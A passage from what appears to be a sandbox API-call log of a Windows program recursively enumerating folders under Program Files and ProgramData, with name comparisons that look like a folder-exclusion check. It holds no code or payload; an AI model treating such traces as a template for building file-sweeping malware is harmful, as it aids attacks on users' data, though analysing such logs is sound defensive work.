(x86)\\Windows Sidebar\\pie.exe" [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned 46 [0040.191] lstrcpyW (in: lpString1=0x5e8e20, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0040.191] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.191] lstrcmpW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0040.191] lstrcmpW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.191] lstrlenW (lpString="sbdrop.dll") returned 10 [0040.191] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned 49 [0040.191] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.191] lstrcmpW (lpString1="settings.ini", lpString2=".") returned 1 [0040.191] lstrcmpW (lpString1="settings.ini", lpString2="..") returned 1 [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.191] lstrlenW (lpString="settings.ini") returned 12 [0040.191] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned 51 [0040.191] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.191] lstrcmpW (lpString1="Shared Gadgets", lpString2=".") returned 1 [0040.191] lstrcmpW (lpString1="Shared Gadgets", lpString2="..") returned 1 [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.191] lstrlenW (lpString="Shared Gadgets") returned 14 [0040.191] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Shared Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0040.191] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\" [0040.192] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned 54 [0040.192] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*" [0040.192] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.192] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.192] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.192] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.192] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.192] lstrcmpW (lpString1="sidebar.exe", lpString2=".") returned 1 [0040.192] lstrcmpW (lpString1="sidebar.exe", lpString2="..") returned 1 [0040.192] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.192] lstrlenW (lpString="sidebar.exe") returned 11 [0040.192] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" [0040.192] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned 50 [0040.192] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.192] lstrcmpW (lpString1="wlsrvc.dll", lpString2=".") returned 1 [0040.192] lstrcmpW (lpString1="wlsrvc.dll", lpString2="..") returned 1 [0040.192] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.192] lstrlenW (lpString="wlsrvc.dll") returned 10 [0040.192] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0040.192] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned 49 [0040.192] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.192] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.192] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0 [0040.192] FindClose (in: hFindFile=0x775cd8 | out: hFindFile=0x775cd8) returned 1 [0040.192] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.192] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0040.192] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0040.192] lstrcmpW (lpString1="ProgramData", lpString2="Windows") returned -1 [0040.192] lstrcmpW (lpString1="ProgramData", lpString2="Program Files") returned 1 [0040.192] lstrlenW (lpString="c:\\") returned 3 [0040.192] lstrlenW (lpString="ProgramData") returned 11 [0040.192] lstrcatW (in: lpString1="c:\\", lpString2="ProgramData" | out: lpString1="c:\\ProgramData") returned="c:\\ProgramData" [0040.192] lstrcatW (in: lpString1="c:\\ProgramData", lpString2="\\" | out: lpString1="c:\\ProgramData\\") returned="c:\\ProgramData\\" [0040.192] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.192] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="*" | out: lpString1="c:\\ProgramData\\*") returned="c:\\ProgramData\\*" [0040.192] FindFirstFileW (in: lpFileName="c:\\ProgramData\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0x775cd8 [0040.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.193] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.193] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.193] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0040.193] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0040.193] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.193] lstrlenW (lpString="Adobe") returned 5 [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Adobe" | out: lpString1="c:\\ProgramData\\Adobe") returned="c:\\ProgramData\\Adobe" [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\") returned="c:\\ProgramData\\Adobe\\" [0040.193] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\*") returned="c:\\ProgramData\\Adobe\\*" [0040.193] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.193] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.193] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.193] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0040.193] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0040.193] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0040.193] lstrlenW (lpString="Acrobat") returned 7 [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat") returned="c:\\ProgramData\\Adobe\\Acrobat" [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\") returned="c:\\ProgramData\\Adobe\\Acrobat\\" [0040.193] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\*") returned="c:\\ProgramData\\Adobe\\Acrobat\\*" [0040.193] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.193] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.193] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.193] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0040.193] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0040.193] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0040.193] lstrlenW (lpString="10.0") returned 4 [0040.193] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="c:\\ProgramData\\Adobe\\Acrobat\\10.0" [0040.193] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.193] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.193] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.193] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0040.194] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0040.194] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0040.194] lstrlenW (lpString="ARM") returned 3 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\ProgramData\\Adobe\\ARM") returned="c:\\ProgramData\\Adobe\\ARM" [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\") returned="c:\\ProgramData\\Adobe\\ARM\\" [0040.194] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\*") returned="c:\\ProgramData\\Adobe\\ARM\\*" [0040.194] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.194] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.194] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.194] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.194] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.194] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.194] lstrcmpW (lpString1="Reader_10.0.0", lpString2=".") returned 1 [0040.194] lstrcmpW (lpString1="Reader_10.0.0", lpString2="..") returned 1 [0040.194] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0040.194] lstrlenW (lpString="Reader_10.0.0") returned 13 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="Reader_10.0.0" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0040.194] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.194] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.194] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.194] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.194] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.194] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0040.194] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0040.194] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.194] lstrlenW (lpString="Application Data") returned 16 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Application Data" | out: lpString1="c:\\ProgramData\\Application Data") returned="c:\\ProgramData\\Application Data" [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data", lpString2="\\" | out: lpString1="c:\\ProgramData\\Application Data\\") returned="c:\\ProgramData\\Application Data\\" [0040.194] lstrlenW (lpString="c:\\ProgramData\\Application Data\\") returned 32 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Application Data\\*") returned="c:\\ProgramData\\Application Data\\*" [0040.194] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Application Data\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0xffffffff [0040.194] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.194] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0040.194] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0040.194] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.194] lstrlenW (lpString="Desktop") returned 7 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Desktop" | out: lpString1="c:\\ProgramData\\Desktop") returned="c:\\ProgramData\\Desktop" [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop", lpString2="\\" | out: lpString1="c:\\ProgramData\\Desktop\\") returned="c:\\ProgramData\\Desktop\\" [0040.194] lstrlenW (lpString="c:\\ProgramData\\Desktop\\") returned 23 [0040.194] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Desktop\\*") returned="c:\\ProgramData\\Desktop\\*" [0040.194] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Desktop\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0xffffffff [0040.195] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.195] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0040.195] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0040.195] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.195] lstrlenW (lpString="Documents") returned 9 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Documents" | out: lpString1="c:\\ProgramData\\Documents") returned="c:\\ProgramData\\Documents" [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Documents", lpString2="\\" | out: lpString1="c:\\ProgramData\\Documents\\") returned="c:\\ProgramData\\Documents\\" [0040.195] lstrlenW (lpString="c:\\ProgramData\\Documents\\") returned 25 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Documents\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Documents\\*") returned="c:\\ProgramData\\Documents\\*" [0040.195] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Documents\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0xffffffff [0040.195] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.195] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0040.195] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0040.195] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.195] lstrlenW (lpString="Favorites") returned 9 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Favorites" | out: lpString1="c:\\ProgramData\\Favorites") returned="c:\\ProgramData\\Favorites" [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites", lpString2="\\" | out: lpString1="c:\\ProgramData\\Favorites\\") returned="c:\\ProgramData\\Favorites\\" [0040.195] lstrlenW (lpString="c:\\ProgramData\\Favorites\\") returned 25 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Favorites\\*") returned="c:\\ProgramData\\Favorites\\*" [0040.195] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Favorites\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0xffffffff [0040.195] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.195] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0040.195] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0040.195] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.195] lstrlenW (lpString="Microsoft") returned 9 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="c:\\ProgramData\\Microsoft") returned="c:\\ProgramData\\Microsoft" [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\") returned="c:\\ProgramData\\Microsoft\\" [0040.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\*") returned="c:\\ProgramData\\Microsoft\\*" [0040.195] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.195] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.195] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.195] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.195] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.195] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.195] lstrcmpW (lpString1="Assistance", lpString2=".") returned 1 [0040.195] lstrcmpW (lpString1="Assistance", lpString2="..") returned 1 [0040.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.195] lstrlenW (lpString="Assistance") returned 10 [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Assistance" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance") returned="c:\\ProgramData\\Microsoft\\Assistance" [0040.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\") returned="c:\\ProgramData\\Microsoft\\Assistance\\" [0040.196] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0040.196] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\*") returned="c:\\ProgramData\\Microsoft\\Assistance\\*" [0040.196] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.196] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.196] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.196] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.196] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.196] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.196] lstrcmpW (lpString1="Client", lpString2=".") returned 1 [0040.196] lstrcmpW (lpString1="Client", lpString2="..") returned 1 [0040.196] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0040.196] lstrlenW (lpString="Client") returned 6 [0040.196] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="Client" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\Client") returned="c:\\ProgramData\\Microsoft\\Assistance\\Client" [0040.196] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.196] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.196] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.196] lstrcmpW (lpString1="ClickToRun", lpString2=".") returned 1 [0040.196] lstrcmpW (lpString1="ClickToRun", lpString2="..") returned 1 [0040.196] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.196] lstrlenW (lpString="ClickToRun") returned 10 [0040.196] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun") returned="c:\\ProgramData\\Microsoft\\ClickToRun" [0040.196] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\" [0040.196] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.196] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\*") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\*" [0040.196] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.196] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.196] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.196] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.196] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.196] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.196] lstrcmpW (lpString1="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A", lpString2=".") returned 1 [0040.196] lstrcmpW (lpString1="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A", lpString2="..") returned 1 [0040.196] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.196] lstrlenW (lpString="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned 36 [0040.196] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned 36 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned 36 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned 36 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="DeploymentConfig.0.xml", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="DeploymentConfig.0.xml", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="DeploymentConfig.0.xml") returned 22 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.0.xml" | out: 